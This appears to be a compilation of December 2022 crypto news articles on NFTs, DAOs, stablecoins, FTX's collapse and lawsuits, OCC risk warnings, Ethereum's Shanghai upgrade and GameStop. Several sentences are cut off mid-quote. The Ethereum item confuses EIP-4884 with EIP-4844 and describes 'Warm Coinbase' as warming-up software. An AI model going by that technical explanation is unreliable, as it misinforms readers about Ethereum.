Adoption of NFTs within the diamond industry may also gain traction once mainstream retailers begin implementing the technology. For instance, De Beers is currently using the Tracr blockchain to trace the origins of its diamonds.
Jason McIntosh, chief product officer for Tracr, told Cointelegraph that NFTs are likely to be part of the platform’s solution in the future. “Diamonds on the Tracr platform are ‘NFT-ready’ in the sense that the Tracr diamond record can easily be incorporated within an NFT wrapper,” he said.
Given this level of innovation, Landau believes that in the future, all diamonds will be authenticated via a blockchain network. However, she pointed out the importance of ensuring that consumers don’t have to worry about the technical aspects behind NFTs:
“Customers don’t need to have any crypto or blockchain experience to gain access to our NFTs. Everything is handled for them effortlessly. I believe this will drive mainstream adoption.”

NFT artist Nikita Replyanski on the future of NFTs, his work with the Longevity Science Foundation, and art as community building.
Just as Art Basel has expanded beyond its initial gallery showcases in Switzerland, where the international art fair was conceived, the pursuit of longer and more fulfilling lives has grown from the subject of science fiction novels to real, viable science.
Now the evolution of art is being leveraged as the Longevity Science Foundation’s partnership with Triptych and digital artist Nikita Replyanski leveled up during Art Basel in Miami Beach. The partnership to launch a collection of nonfungible tokens (NFTs) was announced during the summer. Longevity Volumes” will help fund LSF research grants for longevity projects.
Replyanski said he showed his own work and his collaborations, including the one with the LSF, at Beyond Basel, a star-studded, cutting-edge NFT event curated by Trippy Labs.
“All my art is inspired by the transformation of humanity by technology,” he said.
Replyanski hopes that his work with the LSF will help change attitudes about basic and experimental science. “I like to think that through projects like this, I am participating in shaping the image of medicine and science of the future,” Replyanski said.
His work has been connected to the intersection of technology and humanism for nearly a decade when he was involved in designing bionic/robotic hands with Motorica. Replyanski collaborated with engineers to develop several design lines used by people with disabilities today. Models with his art prosthetics participate in fashion shows and photoshoots designed to transform how the world perceives prosthetics and disabilities.

“I am very passionate about the values of transhumanism, among which, of course, biology and medicine play a huge role,” he said. how the results of your work can change lives.”
NFTs in the Art World
Events evolve. Science evolves. Art evolves, and NFTs are playing an important role in redefining the evolution of media. Events like Art Basel are an opportunity to expose what may be an uninitiated audience to the potential that exists for this medium.
“The role of such events for the NFT community and digital art, in general, is enormous,” Replyanski said. “First of all, it's the development of digital art as a genre, opening it up to the audience of traditional art, representing brands and galleries. Of course, it is expanding the boundaries of the NFT community. I am sure a lot of people will change their attitude toward NFTs thanks to such events.”
He said having the opportunity to engage with an audience in person, versus across a more contained medium like his Instagram feed, allowed for a greater experience and a more authentic expression of the artistic statements he's trying to convey.
“Context is very important to any artwork,” Replyanski said. “Immersing yourself in it through huge screens is not comparable to scrolling through an Instagram feed where people often see my pieces. It's another level of communication with my art. immerse themselves in my world.”
This is extremely important for artists, especially given the state of the financial markets as investors look for alternatives. “Thanks to the bear market, there are still those people for whom NFTs are not the way to make fast money, but a full-fledged platform for self-realization of a creator's art or a niche for web3 project development,” he said. “I am one of those who have invested time and money in building my own little universe within the NFT community. coming up in the near future.”

NFTs for Nonprofits
Replyanski said he is particularly excited about the potential NFTs hold for nonprofit organizations like the Longevity Science Foundation.
“NFT drops for nonprofit organizations is a new tool of participation for those who want to support them,” he said. This is an open gateway for anyone who wants to become a participant in the life of a Web3 charitable company. Simplicity, accessibility, gamification, or the ability to vote in DAO. For the artist, it's an opportunity to show their vision and involvement in the theme.”

Proceeds from this NFT, his most recent digital art, will support the Longevity Science Foundation.
The Longevity Science Foundation is a global nonprofit dedicated to expanding the human lifespan. Most recently, the LSF further developed its presence in the US with a new headquarters in Miami and appointed president and CEO, Lisa Ireland. NFTs will play a valuable role in advancing the LSF's work funding cutting-edge longevity research. Nikita's “Longevity Volumes” collection explores the relationship between humans and technology, and the proceeds will go directly toward supporting the LSF.

Over 1,100 Americans took part in a survey conducted by MetisDAO Foundation which explores trends in remote working preferences and the emergence of DAOs in recent years. A key consideration is the effect that Covid-19 has had on worker sentiment and the growth of DAOs in corporate governance.
Citing a research report on DAOs published by the Harvard Law School Forum on Corporate Governance, the results of the survey highlight how DAOs saw their treasuries swell from $400 million to $16 billion in 2021.
This coincided with growing participant figures, up from 13,000 to 1.6 million people during the same period. Drawing comparisons to some of the largest multinational corporations, global DAO workforce numbers are equal to one Amazon, 18 Facebooks, seven Microsofts or 11 Google.

The impact of Covid-19 is a primary driver of Metis’ report investigating workers readiness for decentralized employment opportunities. The unexpected, rapid shift to remote working conditions of the pandemic has seemingly driven knowledge and understanding of DAOs and decentralized autonomous companies (DAC), particularly among millennial and generation Z workers.
A major takeaway from the results is that nearly 75% of respondents believe that companies will need to adapt how they run their businesses to offer more remote work options. Millennials working in hybrid or remote settings offered the most positive responses on how DACs offer workers opportunities to help govern a company.
47% of the respondents also indicated that they would be open to working for a DAO or DAC as a contracted employee. The survey also indicates that millennial workers are more willing to work for a DAO or DAC than any other age group.
Meanwhile, Gen Z respondents most accurately defined a DAO compared to respondents from other age groups and a majority of Gen Z participants also defined DAOs as ‘revolutionary movement changing the future of work’.
MetisDAO concludes by highlighting the influence of prolonged remote working conditions driving the desire for more decentralized and autonomous work environments.
“The survey results show that a majority of respondents seek all of the things that DACs provide; remote work opportunities, independence from management, and influence over the organizations they work in.”
MetisDAO’s survey came from a sample of 1112 respondents through SurveyMonkey in November 2022. The DAO forms part of Metis, an Ethereum layer-2 rollup solution.

Coinbase’s request comes just a couple of months after Binance ceased support for USDC.
United States-based cryptocurrency exchange Coinbase has asked its customers to convert their Tether-issued USDT (USDT) stablecoin to USD Coin (USDC), a USD-pegged stablecoin issued by Circle and co-founded by Coinbase in 2018.
The cryptocurrency exchange suggested that USDC is a much more secure alternative in the wake of the FTX collapse saga and has also exempted any fee on the conversion of USDT to USDC on its platform. The firm said:
“We believe that USD Coin (USDC) is a trusted and reputable stablecoin, so we’re making it more frictionless to switch: starting today, we’re waiving fees for global retail customers to convert USDT to USDC."
Stablecoins started out as an onboarding tool for the crypto exchanges in the early days of crypto, but today they have become a key market player and liquidity source. However, there has always been some form of scrutiny around their reserves backing these stablecoins. A stablecoin, by definition, must be backed by 1 USD or equivalent.
The reserve debate intensified in the aftermath of FTX collapse as many firms with exposure to the tainted exchange and its sister company Alameda Research went bankrupt. There was another allegation about Binance CEO Changepeng Zhao trading barbs with former FTX CEO Sam Bankman-Fried and accusing him of trying to depeg USDT.
post-strike FTX scoop: Just before the bankruptcy, @cz_binance accused @SBF_FTX of trying to drive down the price of Tether. They traded barbs in a group chat with other crypto execs. “The more damage you do now, the more jail time," CZ said. https://t.co/OTlYgoEruJ

Tether published its latest quarterly attestation on Nov. 10, just a day before the exchange filed for bankruptcy. The report noted that 82% of Tether’s reserves are held in cash, cash equivalents and other short-term deposits as of Sept. 30, 2022.
Coinbase also stressed that USDC is 100% backed by “cash and short-dated U.S. treasuries held in U.S. regulated financial institutions,” and it is always redeemable 1:1 for U.S. dollars.

Apart from the debate over reserve audits, there is a growing “stablecoin war” among crypto exchanges as well. Coinbase’s request to convert USDT to USDC comes just a couple of months after Binance, another global player, cut support for USDC leading to a drop of $3 billion in the market cap of the Coinbase co-founded stablecoin.
Tether-issued USDT is the largest stablecoin by market share with a market cap of $65 billion, USDC currently sits at a $42 billion market capitalization but has rapidly eaten into USDT’s market share. Binance’s stablecoin, BUSD, currently has a market cap of $22 billion.
Tether didn’t respond to Cointelegraph’s requests for comments at press time.

Japanese authorities have postponed FTX Japan’s suspension deadline because the firm has so far failed to return assets from custody to creditors.
The Japanese subsidiary of the now-defunct cryptocurrency exchange FTX has received approval from local regulators to continue sorting out issues with withdrawals until next year.
The Kanto Local Finance Bureau, a local financial regulator running under the Ministry of Finance of Japan, has issued a statement regarding FTX Japan operations, Reuters reported.
The Japanese authority has postponed FTX’s business suspension deadline until March 9, 2023, extending the original time limit by three months. In mid-November, Japan’s Financial Services Agency (FSA) initially requested FTX Japan to suspend business orders by Dec. 9.
According to the announcement, the Kanto Local Finance Bureau has ordered the extension of the deadline because FTX Japan has so far failed to return assets from custody to creditors. The regulator emphasized that FTX Japan’s trading system continues to be out of function.
FTX Japan subsequently confirmed the latest news in a blog post, stating that the exchange is proceeding with a “business improvement plan” that the firm submitted to the Kanto Local Finance Bureau on Nov. 16. The exchange noted that the platform has been out of function, adding that it’s “not possible to quickly return customer’s assets.”

The news comes shortly after FTX Japan on Dec. 1 released a roadmap to resume withdrawals. The exchange previously confirmed that its customers’ assets were not part of FTX’s bankruptcy proceedings. The firm was initially planning to resume withdrawals by the end of 2022.
As previously reported, FTX launched its Japanese arm in June 2022 after acquiring Japanese crypto exchange Liquid in February.

A new study reveals Turkey is in second place for crypto-related searches worldwide and first place for Dogecoin-related searches.
The crypto market slump doesn’t mean interest in crypto is also down. A new study from the cryptocurrency education platform CryptoManiaks revealed that many countries are still scouring the internet, hungry for crypto-related information.
According to the study, the Netherlands and Turkey take the top two spots, with 8.2% and 5.5% of the population, respectively, searching for crypto-related terms. Turkey particularly accounted for 4.7 million searches, leading the searches with sheer numbers.
The study analyzed the combined number of searches for a select set of popular cryptocurrencies into a percentage of the population for each country in order to calculate the percentage of locals searching each month.
While it was in second for overall searches, Turkey came in first place for searches related to the memecoin Dogecoin (DOGE), with 812,000 monthly searches. This is nearly double that of Ether (ETH), the country’s third most searched crypto.
A spokesperson from CryptoManiaks commented on the DOGE curiosity, particularly over the last 12 month:
“Dogecoin’s popularity has surpassed that of Ethereum in a significant number of countries, with nearly 2 million more monthly searches worldwide for the coin.”
The cryptocurrency DOGE has remained a popular digital asset and crypto cultural phenomenon after it was adopted as the poster crypto for internet icon Elon Musk.
Some of the cryptocurrencies included in the search terms were Bitcoin (BTC), Solana (SOL) and BNB (BNB), among others.
Following the Netherlands and Turkey in the ranks were Germany, Canda and the Czech Republic.

While the United States and the United Kingdom are major players in the global cryptocurrency industry, neither ranked in the top spots due to the number of searches equivalent to their population sizes. The U.S. ranked 15th with 1.9% of the population searching for these terms, while the U.K. takes the 12th spot with 2.6%.
Recent research from Cointelegraph also revealed that despite market conditions, major institutions still remain interested in the industry and continue to pour millions into crypto-related projects.

Bitcoin retains $17,200 after an overnight squeeze takes BTC price action to within reach of one-month highs.
Bitcoin (BTC) stayed higher after a $17,000 liquidity grab on Dec. 9 as traders targeted further upside.
Bitcoin attempts new monthly high
Data from Cointelegraph Markets Pro and TradingView showed BTC/USD cooling volatility once more after hitting $17,300 on Bitstamp.
The pair had begun by taking liquidity at the Dec. 8 Wall Street open, this snowballing to see it challenge one-month highs from Dec. 5.
For those already betting on upward continuation, the move came as little surprise, with the coast still clear to add to the gains.
“The move to 18-19k $BTC continues,” popular trader Credible Crypto summarized.
A previous tweet from Dec. 7 explained the rationale, with invalidation set at $16,000 support.
“Lows cleaned up and as if on cue Binance apes showing up to support the mid 16k’s,” part of accompanying comments read:
“Maybe one more push into 16.4-16.5k and then expecting a reversal back up and continuation to 18-19k targets.”
Fellow trader Cheds, meanwhile, eyed potential continuation of volatility, with BTC/USD tagging its upper Bollinger Band on 4-hour timeframes.
At the time of writing, 4-hour candles remained near the upper band, with both still expanding in a classic prelude to increased volatility.
“Expecting continuation for Bitcoin as long as we stay above $17K,” Michaël van de Poppe, founder and CEO of trading firm Eight, added, likening the overnight move to the breakout from the end of November.
Liquidations fuel BTC price run-up
Further analysis of overnight BTC price action highlighted increased liquidations of short positions.

In a sign of the extent to which market participants assumed further downside would enter, short liquidations on BTC totaled $7 million in a single hour on Dec. 8, data from Coinglass shows. Altcoin short liquidations added another $11 million to the tally.
“Liquidations have been relatively small since the early November crash but short liquidations helped fuel that recent move,” analytics resource On-Chain College confirmed.

Kevin O’Leary fessed up to making a massive mistake with FTX and is working to find out where his money went amid the bankruptcy.
Shark Tank star and investor Kevin O’Leary, known in some circles as Mr. Wonderful, has claimed he has all but lost the $15 million FTX paid him to be its official spokesperson.
Speaking at CNBC’s Squawk Box on Dec. 8, O’Leary outlined that after taxes, agents fees, a $1 equity investment into FTX, and buying a whole lot of crypto that’s now stuck on the FTX exchange, he’s got nothing left to show for his time with FTX:
“Total deal was just under $15 million, [...] I put about $9.7 million into crypto. I think that’s what I’ve lost. It's all at zero, I don’t know cos my account got scraped a couple of weeks ago. All the data, all the coins, everything.”
“It was not a good investment [...] I don’t make good investments all the time, luckily I make more good ones than bad ones, but that was a bad one,” he added.
He will probably be just fine without the funds, however, as the 68-year-old is estimated to have a net worth of around $400 million — if such estimates are anything to go by.
Mr. Wonderful was also questioned on what initially drove him to jump on the FTX bandwagon back in August 2021, given that he previously indicated that he held back from crypto in its early days due to his own rigorous compliance standards.
In response, he essentially fessed up to making a massive error, noting “I obviously know all the institutional investors in this deal, we all look like idiots, let’s put that on the table.”
“We relied on each other’s due diligence but we also relied on another investment theme that I felt drove a lot of interest in FTX. Sam Bankman-Fried is an American, his parents are American compliance lawyers. There were no other American large exchanges to invest in if you wanted to invest in infrastructure plays,” he said.
O’Leary reiterated that he is currently working to find out where his capital on FTX actually went and how he can get it back. He also added that he has “agreed” to testify at the upcoming Senate Committee hearing set for Dec. 14.

Despite the whole debacle, O’Leary has previously said he would still have SBF on his team, and in a tweet on Dec.8, he reiterated that he is not scared off investing in entrepreneurs that have massive failures as “failure is often the best teacher.”
You invested in a fraud - not an entrepreneur
— sassal.eth (@sassal0x) December 9, 2022
During another interview with Yahoo Finance on Dec. 6, O’Leary stated that SBF should be treated as innocent until proven guilty, as he called for FTX to be audited in the wake of its collapse.
“I am of the ilk and of the group of people that says, ‘You’re innocent until proven guilty.’ That’s what I believe. And I want the facts. And so, if you tell me that you didn’t — you did or didn’t do something, I’m going to believe you until I find out it’s a falsehood,” he said.

Sam Bankman-Fried has been the subject of many lawsuits and investigations since the collapse of FTX, with more likely to follow.
The number of lawsuits against former FTX CEO Sam Bankman-Fried has been racking up since the fall of his crypto empire, with the former “white knight” of crypto finding himself a defendant in seven class action lawsuits filed since FTX’s bankruptcy.
These lawsuits are separate from the numerous probes and investigations examining FTX and Sam Bankman-Fried, such as a reported market manipulation probe by federal prosecutors and the Federal Election Commission’s likely investigation into Bankman-Frieds dark money donations to the Republican Party.
Below is a summary of the class-action lawsuits brought against Sam Bankman-Fried since Nov. 11.
Dec. 7: Podalsky et al. v. Bankman-Fried et al.
In this class-action lawsuit brought by Gregg Podalsky and four other individuals, the former FTX customers accused Golden State Warriors, Bankman-Fried and numerous other celebrities and FTX executives of fraudulently inducing “unsophisticated investors” into purchasing unregistered securities in the form of yield-bearing accounts, resulting in customers losing billions of dollars.
Other public figures also named in the lawsuit are Tom Brady, Kevin O‘Leary, Stephen Curry, Trevor Lawrence and Shaquille O’Neal, with Podalsky demanding that the case have a jury trial.
Dec. 5: Jessup v. Bankman-Fried et al.
FTX customer Michael Elliott Jessup has brought a class-action lawsuit against Bankman-Fried, former Alameda CEO Caroline Ellison and other FTX executives, accusing them of fraud, unjust enrichment and conversion.
Unjust enrichment in legal cases refers to situations where one person is enriched at the expense of another, in circumstances which the law sees as unjust, while conversion refers to situations where one person ‘converts’ another person’s property for themselves.
Jessup, who has also demanded the case have a jury, alleges that customers who held funds on FTX had rightful possession of their crypto assets and that the defendants transferred these assets to Alameda Research without the authority to do so — which constitutes conversion in the eyes of Jessup’s lawyers.
Dec. 2: Hawkins v Bankman-Fried et al.
Filed in California, this lawsuit is a class action brought by Russell Hawkins — an FTX customer who held funds on the exchange — on behalf of all those similarly situated and alleges that customers were misled by unfair and deceptive practices.
The defendants include Bankman Fried and other FTX executives, as well as accounting firms Armanino and Prager Metis, who had issued certified reports deeming FTX to be in good financial health, with the filing noting:
“As set forth herein, the Individual Defendants made statements regarding YBAs [Yield-bearing accounts] and the FTX Entities that were untrue or misleading. They publicly represented that the FTX Entities and YBAs were a viable and safe way to invest in crypto, a statement designed to deceive consumers into investing with the FTX Entities.”
Nov. 23: Pierce v. Bankman-Fried et al.
With the same defendants as the Hawkins case, FTX customer Stephen Pierce filed a class-action lawsuit in California accusing Bankman-Fried of being “one of the great frauds of history,” and that he “and his inner circle treated those assets as a slush fund to fund their own proprietary investments and a variety of personal boondoggles.”
A jury has once again been demanded by the plaintiff (Pierce), who alleges that the Racketeering Influenced and Corrupt Organizations Act (RICO) has been violated.
Racketeering is a type of organized crime in which an illegal coordinated scheme or operation is set up which enables the perpetrators to consistently collect a profit.
Nov. 21: Kavuri v. Bankman-Fried et al.
FTX customer Sunil Kavuri has filed a class-action lawsuit in Florida similar to Podalsky v Bankman-Fried, in that the defendants listed include celebrities or public figures that have endorsed or otherwise promoted FTX allegedly without disclosing their payment or stake in the company.
It is also a case that the Securities and Exchange Commission may be keeping a close eye on, with Kavuri alleging that FTX was promoting unregistered securities which were fraudulently presented as securities in an effort to attract customers and generate interest.
Nov. 20: Lam v. Bankman-Fried
Hong Kong resident and FTX customer Elliot Lam is the plaintiff in another class-action lawsuit filed in California, who alleges that Bankman-Fried, Ellison and the Golden State Warriors have violated California’s false advertising and unfair competition laws and have also committed fraudulent concealment and civil conspiracy.
Lam claims that the defendants sold and marketed to the public who could not have known the “true nature of FTX and YBAs,” and that had the public had the same information as the defendants, they would not have chosen to use FTX’s products — thus constituting fraudulent concealment.
Nov. 15: Garrison v. Bankman-Fried et al.
This lawsuit once again includes the full suite of celebrity actors and public figures who are understood to have endorsed or been involved in marketing campaigns for FTX, the class-action lawsuit filed by Edwin Garrison in Florida alleges that FTX’s YBAs were illegally offered securities.
Related: Sam Bankman-Fried misses deadline to respond to testimony request, now what?
Garrison also accuses FTX of having engaged in deceptive and unfair business practices, and was engaged in a “fraudulent scheme” that intentionally took advantage of “unsophisticated investors.”
Once these complaints and the necessary documents were filed, they were given a docket number and immediately assigned to a judge. From there, each of the defendants is served with a summons and complaint, and the judge will set out a schedule outlining the next steps.

The Office of the Comptroller of the Currency (OCC) said the digital asset industry was maturing but was “not yet robust” in its risk management.
A United States banking industry regulator warned banks of the “emerging risks” of cryptocurrencies saying the sector should take a “cautious approach” and seek permission in some cases when engaging with crypto or crypto firms.
Citing “dislocations” in the crypto market over 2022, the Office of the Comptroller of the Currency (OCC) highlighted what it said were “several key risks” of crypto in its Dec. 8 Semiannual Risk Perspective for Fall 2022 report.
Its three main concerns are that “stablecoins may be unstable,” the crypto industry lacks mature risk management practices and has a high risk of contagion due to the “high degree of interconnectedness.”
Check it out! The @USOCC reported the key issues facing the federal banking system in its Semiannual Risk Perspective for Fall 2022. Read more at https://t.co/CcfoiQM8xe pic.twitter.com/0WnAt5psXU
— OCC (@USOCC) December 8, 2022
The space’s lack of “consistent or comprehensive regulation” and the volatility of crypto, along with the increased range of firms offering “bank-like products and services” using crypto and tokenized assets, were also cited as concerns, which the OCC believes raises questions regarding financial stability.
The depeg and collapse of the TerraUSD Classic (USTC) algorithmic stablecoin in May was given as an example of stablecoins’ “run risk,” and how asset-backed stablecoins also saw minor depeg events as a result.
It highlighted stablecoin backings have “incrementally evolved” since, but believes most “remain susceptible to run risk.”
Discussing risk management, the OCC said practices at crypto firms were maturing but are “not yet robust,” with firms appearing “unprepared for the stresses and surprises” over the past year that saw losses for millions of investors, it added:
“Hacks and outages are frequent, and fraud and scams remain high throughout the industry. In some cases, ownership rights, custody arrangements, and financial representations have created a high degree of confusion.”
The crypto market over 2022 also revealed the industry’s “interconnectedness [...] through a variety of opaque lending and investing arrangements,” according to the OCC.

It remarked crypto participants “may be engaging in highly leveraged trading” which resulted in the noted contagion risk.
In its advice to banks, the OCC said institutions considering engaging with crypto or crypto companies “should take a careful and incremental approach.”
The OCC advised national banks that crypto-related plans should be discussed “with their supervisory office” before they engage in any activities, as some potentially require permission.
Crypto companies have moved to improve transparency in the wake of the bankruptcy of FTX, with many exchanges introducing proof-of-reserves so users can verify crypto backings, along with some conducting public third-party audits.

The Senate banking committee set a deadline for Sam Bankman-Fried to respond to the request on Dec. 8 at 5:00 pm ET.
Crypto’s public enemy number one, Sam Bankman-Fried has missed a crucial deadline to confirm his appearance at an upcoming Senate Committee hearing.
The former FTX CEO missed a Thursday 5:00 pm ET on Dec. 8 deadline for responding to a Senate Banking Committee request that he testify at the Committee meeting on Dec. 14. This has set up the possibility of a congressional subpoena.
On Dec. 8, the Chairman of the Senate Committee on Banking, Housing, and Urban Affairs, Sherrod Brown, and ranking member of the Committee, Senator Pat Toomey, released a statement on the request.
“FTX’s collapse has caused real financial harm to consumers, and effects have spilled over into other parts of the crypto industry. The American people need answers about Sam Bankman-Fried’s misconduct at FTX,” they stated before adding:
“The Committee has requested that he testify at our upcoming hearing on FTX’s collapse, and will consider further action if he does not comply.”
According to the official Committee website, the hearing titled “Crypto Crash: Why the FTX Bubble Burst and the Harm to Consumers” will be webcast on Dec. 14.
So far, two witnesses have been confirmed to attend the hearing — including American University Washington College of Law professor Hilary J. Allen and actor and author Ben McKenzie Schenkkan.
Allen is an academic whose research focuses on the impact of new financial technologies on the stability of the financial system. Schenkkan is an anti-crypto actor-turned-commentator who played a troubled teenager on a U.S. television series called “The O.C.”
Messari founder Ryan Selkis commented on the futility of the witness selection:
The Senate Banking FTX hearing is a complete goat rodeo and mockery of the system.
— Ryan Selkis (@twobitidiot) December 9, 2022
I offered to go even though it would have been a distraction, but instead the Senate opted for the former child star of the OC and a “never crypto” academic.
Another waste of taxpayer $$$.
Meanwhile, Cointelegraph has reached out to Schenkkan for comment but did not receive a response at the time of publication.

Other than the Dec. 14 Senate Banking Committee hearing, Bankman-Fried has also been requested to attend a separate hearing called “Investigating the Collapse of FTX” on Dec. 13 with the U.S. House Financial Services Committee.
Bankman-Fried was first requested to attend the hearing via a tweet from Congresswoman Maxine Waters but seemingly declined the invitation on Dec. 5, stating that he wasn’t sure what would happen by the hearing date, “but when it does, I will testify.”
Waters responded on Dec. 8 stating “a subpoena is definitely on the table” should Bankman-Fried fail to voluntarily testify at the hearing.
The collapse of SBF’s FTX empire has initiated a tsunami of backlash from U.S. lawmakers and regulators threatening to drown the fledgling crypto asset industry.

A tentative timeline of March 2023 has been set for the Shanghai upgrade, which will enable staking withdrawals. A list of EIPs has also been packaged in, but EIP-4844 didn’t make the cut.
Ethereum core developers have opted to prioritize the enabling of staking withdrawals via the Shanghai upgrade first before implementing The Surge-related Ethereum Improvement Proposal (EIP)-4884.
As reported by Cointelegraph, the next key milestone on Ethereum’s roadmap is the Shanghai upgrade, which will enable withdrawals for ETH stakers/validators from the Beacon Chain — among other things.
EIP-4884 is also important and was initially expected to be packaged in with Shanghai, introducing “proto-danksharding” to significantly enhance layer-2 rollup scalability (The Surge) ahead of the full implementation of the major Sharding upgrade late next year.
However, according to Ethereum core developer Tim Beiko at the latest Ethereum Core Developers Meeting on Dec. 8, the ultimate consensus was to focus on Shanghai first to avoid any potential delays if EIP-4844 were to not be ready in time.
In a rundown thread on Twitter, Beiko noted that everyone agreed to “(1) seeing Shanghai happen quickly, ideally around March and (2) following this with a fork centered around EIP-4844.”
While EIP-4844 won’t be included, the devs have agreed to include a set of EIPs that essentially upgrade the Ethereum Virtual Machine (EVM), including introducing a new EVM contract format, code/data separations and new operation codes.
Beiko noted that as these upgrades, known as EVM Object Format (EOF), are quite easy to walk back and remove from Shanghai if devs haven’t finished working on it when Shanghai is ready for implementation, then EOF will simply be removed and shipped later.
Additionally, a set of previously agreed upon EIPs will roll out alongside Shanghai, the list includes EIP-3651: Warm Coinbase, EIP-3855: PUSH0 instruction, EIP-3860: Limit and meter init code and EIP-4895: Beacon chain push withdrawals as operations.
So, that's where we landed for Shanghai: Withdrawals, EOF & a few already implemented EIPs (PUSH0, Warm COINBASE, Limit/Meter initcode) are what we will go for. If by January, we don't meet the EOF milestones mentioned above, we'll remove it from Shanghai so withdrawals ship ASAP
— timbeiko.eth (@TimBeiko) December 8, 2022
EIP-3651: Warm Coinbase, in particular, will potentially have some cost reduction benefits for the network. Not to be confused with the name of the crypto exchange, Coinbase, in this context, refers to the name of the software that builders use to receive new tokens on the network.
Every new transaction on the platform needs to interact with the Coinbase software multiple times. However, the initial transactions start off more expensive as Coinbase essentially needs time to warm up.
Related: Ethereum developers target March 2023 for Shanghai hard fork
With the new EIP implementation, this won’t be the case anymore and thus lowering gas fees when builders are interacting with it.
As per the Ethereum Foundation, Sharding is a multi-phase upgrade designed to significantly ramp up Ethereum’s “scalability and capacity” via the implementation of shard chains, which will give the network significantly “more capacity to store and access data.”
With the improved data storage capabilities, this will essentially enable layer-2 solutions to offer much lower transaction fees.
After all of this is completed, the network’s next major event and final part of the roadmap is the Sharding upgrade, which is expected to roll out over 2023 and 2024.

The gaming company has minimized its exposure to cryptocurrency focuses but is seemingly still pushing ahead with plans related to NFT and blockchain technology.
Gaming retailer GameStop says it will no longer focus any efforts on cryptocurrencies, after amounting $94.7 million in net losses in the third quarter and laying off staff from its digital assets department.
During a Dec. 7 earnings call, GameStop CEO Matt Furlong said the video game retailer “proactively minimized exposure to cryptocurrency” during the year and “does not currently hold a material balance of any token,” adding:
“Although we continue to believe there is long-term potential for digital assets in the gaming world, we have not and will not risk meaningful stockholder capital in this space.”
The company said earlier this year that it was looking at crypto, nonfungible tokens (NFTs) and Web3 applications as avenues for growth, calling these spaces "increasingly relevant for gamers of the future."
Going forward GameStop will shift its focus to collectibles, gaming and pre-owned items.
Its moves in the NFT space are still seemingly going ahead, as it says its “also pursuing, and plan[s] to continue to pursue, other business and strategic initiatives associated with digital assets and blockchain technology,” according to a Dec. 7 filing with the Securities and Exchange Commission.
Cointelegraph contacted GameStop to confirm that it would continue efforts on its NFT marketplace but did not receive a response.
GameStop has pushed numerous Web3-related products, the most recent being its NFT marketplace went live on Oct. 31 on ImmutableX, an Ethereum layer-2 blockchain, following a public beta launch in July.
Earlier, the company launched a beta self-custody crypto wallet in May and a beta NFT marketplace on Loopring in March. Loopring is another Ethereum-based layer-2 protocol.
It also partnered with the now-bankrupt crypto exchange FTX US in September, aiming to bring more customers to crypto and to work together on e-commerce and online marketing initiatives. It ended ties with the exchange on Nov. 11, soon after it filed for bankruptcy.
GameStop’s Q3 losses slightly narrowed compared to the second quarter, which saw losses of $108.7 million. It’s also a year-on-year improvement for GameStop, which posted a $105.4 million loss in the third quarter of 2021.
Staff cuts reportedly hit crypto department
On Dec. 5, GameStop cut multiple staff in its third round of layoffs for 2022, as Furlong confirmed in the earnings call.
While earlier reports suggested that the team working on the company's blockchain and NFT projects was the most impacted, Furlong did not specify where the staff cuts were concentrated.
Still, posts from employees and people claiming to be former employees have shed some light on the layoffs. Daniel Williams, lead software engineer at GameStop, wrote in a Dec. 5 LinkedIn post:
“Another big round of layoffs from GameStop currently in progress… E-commerce Product and Engineers... Lots of them.”

Other posts from those claiming to be affected by the cuts also appeared on LinkedIn at the time. Brandon Jenniges, a former iOS and blockchain engineer posted he “had a great time getting a deep dive into Ethereum and learning about many new things in the crypto space.”
“I and the rest of the mobile team were let go,” wrote former developer Christopher Fields.
In July, the company terminated its chief financial officer, Michael Recupero, and a number of staff at its video game-focused magazine Game Informer.

Sam Bankman-Fried previously told crypto vlogger Tiffany Fong that all his Republican donations "were dark."
A watchdog group has demanded an investigation into Sam Bankman-Fried's political donations, claiming the former FTX CEO admitted to donating tens of millions of dollars to Republicans under the table, in violation of federal law.
The Citizens for Responsibility and Ethics in Washington (CREW) filed the complaint with the Federal Election Commission (FEC) on Dec. 8, citing comments made by Bankman-Fried in a Nov. 16 interview with cryptocurrency vlogger Tiffany Fong released via YouTube on Nov. 29.
CREW suggested in its complaint that wealthy donors often take advantage of the Citizen United ruling to evade federal disclosure laws by using intermediaries and claiming they were unaware of where the funds ended up, but that Bankman-Fried’s admission negates this plausible deniability. As CREW senior vice president and chief counsel Donald Sherman notes:
“Bankman-Fried said the quiet part out loud. He admitted that he violated federal laws designed to ensure Americans have transparency into those funding elections and now needs to be held accountable.”
CREW has asked the FEC to investigate the violation, and take any further action that is appropriate such as referring the matter to the Department of Justice for criminal prosecution.
The group accused Bankman-Fried of “direct and serious violations of the Federal Election Campaign Act,” which requires the disclosure of political donations of over $200 a year.

In the Nov. 16 interview with Fong, Bankman-Fried claimed to have “donated about the same to both parties." Given that he was the Democrats’ second largest donor, according to OpenSecrets, these “dark” donations appear to involve a substantial amount of money.
“All my Republican donations were dark,” SBF noted, before adding:
“The reason was not for regulatory reasons, it’s because reporters freak the fuck out if you donate to Republicans, they’re all super liberal. And I didn’t want to have that fight.”
Bankman-Fried has been on something of an apology tour since his fall from grace, making a variety of public appearances including interviews with The New York Times’ DealBook Summit, Good Morning America and plenty of Twitter Spaces.
He has repeatedly claimed that he is conducting these interviews against the advice of his lawyers, who have advised him to lay low and not say anything lest his comments land him in hot water.

Cryptocurrency has evolved over the last decade, but Krugman is still hung up on Bitcoin's 2008 white paper.
In mid-November, as crypto markets reeled in the aftermath of FTX’s meltdown, Nobel Prize-winning economist Paul Krugman made use of his New York Times column to disparage crypto assets — again. Despite his unquestionable academic credentials, Krugman reiterated a common misunderstanding in his attempt to understand crypto assets — by conflating Bitcoin (BTC) with other cryptocurrencies.
Despite being the oldest, most valuable and most well-known member of this emerging class of digital assets, Bitcoin has a unique use case that differs widely from all others. Therefore, in order to understand this asset class as a whole, it would make more sense to choose as your starting point an asset with more tangible utility. Filecoin, for instance, provides storage for digital files in a similar vein to Google Drive or Dropbox, but in a decentralized manner. This network allows users with surplus storage to rent that capacity to other users in exchange for a fee. This fee is paid with the network's native token, also called Filecoin. This example is far more representative of most crypto assets: a network that provides financial incentives for services in a decentralized manner, with added efficiency and reduced costs as a result of its lack of intermediaries and central counterparties. Bitcoin, however, is different.
But what exactly is Bitcoin? This seems to be another blind spot in Paul Krugman’s comprehension. Bitcoin has evolved over time, both in regards to its technology, with updates and improvements to its functionalities, and its most prominent investment thesis. Krugman, according to his own column, perceives Bitcoin (and, it goes without saying, other crypto assets) as a means of payment. That was, in fact, the intended purpose disclosed in the white paper that launched Bitcoin in 2008, remaining so in the years immediately following its publication.
Related: Crypto’s downturn is about more than the macro environment
